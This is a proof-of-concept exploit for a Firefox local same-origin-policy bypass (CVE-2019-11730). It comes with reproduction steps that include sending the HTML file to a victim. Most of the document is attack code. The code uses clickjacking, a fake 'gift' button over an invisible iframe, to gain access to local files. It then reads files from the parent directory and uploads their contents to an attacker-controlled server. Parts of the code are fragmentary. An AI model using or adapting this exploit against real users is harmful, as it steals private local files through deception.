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This is a proof of concept for Mozilla Firefox local SOP bypass (CVE-2019-11730)
Steps to reprodure:
1- Change name of this file to something like ".0000000000000000000000000_poc.html" (above .nomedia for Telegram)
2- Edit CSS properties for Clickjacking attack.
3- Upload upload.php file to the web server and change value of server_url variable to its URL.
4- Open the file locally on a vulnerable version of Mozilla Firefox (<=67) (Or send the file to the victim).
5- Click "Click Me! I have a gift for you!" button.
6- Check the web server for the uploaded files.
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<body onload="is_vulnerable()">
/* hidden iframe to check SOP bypass */
width: 0;
height: 0;
NOTE: As Clickjacking is based on the location of items,
you should change below CSS properties (width, height, left, top) to fit other device screens.
/* invisible but clickable iframe, victim will click this iframe. */
opacity: 0.05;
width: 1000;
height: 1000;
position: absolute;
left: 0;
top: 0;
/* fake button in front of the invisble iframe for Clickjacking attack */
z-index: -1;
height: 30;
position: absolute;
left: 144.5;
top: 215;
// Vulnerable versions: Mozilla Firefox <= 67, 68=< versions are not vulnerable.
function is_vulnerable(){
var user_agent = navigator.userAgent;
// Web browser isn't Mozilla Firefox, return.
if(user_agent.indexOf("Firefox") == -1){
console.log("- Error: Web browser isn't Mozilla firefox!");
console.log("+ Web browser is Mozilla Firefox.")
var version = navigator.userAgent.split("rv:")[1].split(".")[0];
// Not vulnerable version, return.
if(68 < version){
console.log("- Error: Not vulnerable version!");
console.log("+ This version in vulnerable!");
// Not loaded locally, return.
if (location.protocol != "file:"){
console.log("- Error: File isn't loaded locally!");
// File is loaded locally on a vulnerable version of Mozilla Firefox, It's time to pwn files!
console.log("+ File is loaded locally!");
function check_sop_bypassed(){
// Create a hidden iframe pointing to the parent directory,Check can we access its contents or not.
var check_iframe = document.createElement("iframe");
check_iframe.src = "./";
check_iframe.className = "check_iframe";
check_iframe.onload = function(){
if(check_iframe.contentDocument == null){
// SOP is not bypassed, Call exploit() function to bypass SOP.
console.log("- SOP is not bypassed");
console.log("+ Tricking user to click the fake button.(Clickjacking attack)...");
// SOP is bypassed, We can access contents of the iframe's document (parent directory listing)
console.log("+ SOP is bypassed!");
console.log("+ Reading files to upload to the server...");
function exploit(){
// Use Clickjacking to trick the victim to click name of current file name in the hidden iframe.
// First, Create a hidden iframe pointing to the parent directory.
var exploit_iframe = document.createElement("iframe");
exploit_iframe.src = "./";
exploit_iframe.className = "exploit_iframe";
// Second, Create a fake button and trick the user to click it.
var fake_button = document.createElement("button");
fake_button.className = "fake_button";
fake_button.innerText = "Click Me! I have a gift for you!";
function analyze_directory_contents(parent_directory_contents){
Contents of parent directoet page:
Index of file:///path/to/panret/directory[\n\n]
Up to higher level directory[\n\n]
Name Size Last Modified[\n\n]
filename1.txt[\n\t]3[ KB\t] 11/8/19 6:41:48 AM GMT+3:30[\n\n]
filename2.txt[\n\t]120[ KB\t] 6/6/19 11:44:19 PM GMT+4:30[\n\n]
filename3.txt[\n\t]3043[ KB\t] 6/3/19 7:02:32 PM GMT+4:30[\n\n]
// Extract file names from the contents, call upload_file() function to read and upload them to the attacker.
lines = parent_directory_contents.split("\n\n");
// Is file and not empty.
if(line.indexOf(" KB\t") != -1){
filename = line.split(" KB\t")[0].split("\n\t")[0].trim();
function upload_file(filename){
var server_url = "";
var file_reader = new XMLHttpRequest();
// First, read the file contents."GET",filename,true);
file_reader.onreadystatechange = function(){
if (this.readyState == 4){
filename = encodeURIComponent(filename);
file_contents = encodeURIComponent(file_reader.responseText);
// Second, upload the file.
var uploader = new XMLHttpRequest();
var post_data = "fname=" + filename + "&contents=" + file_contents;"POST",server_url,true);
uploader.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
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